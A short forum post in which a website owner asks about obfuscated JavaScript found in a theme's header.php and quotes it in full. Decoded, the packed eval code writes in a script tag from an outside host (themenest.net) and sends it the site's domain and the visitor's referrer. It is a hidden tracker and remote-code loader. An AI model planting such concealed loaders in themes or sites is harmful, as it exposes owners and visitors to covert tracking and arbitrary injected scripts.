Help Understanding some header.php codes

I am working with my new website.I am using a theme but in the header.php file i have got something and thinking what it is?as i ma not to experienced with PHP or java script i don;t know what it is?Here is the code

<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>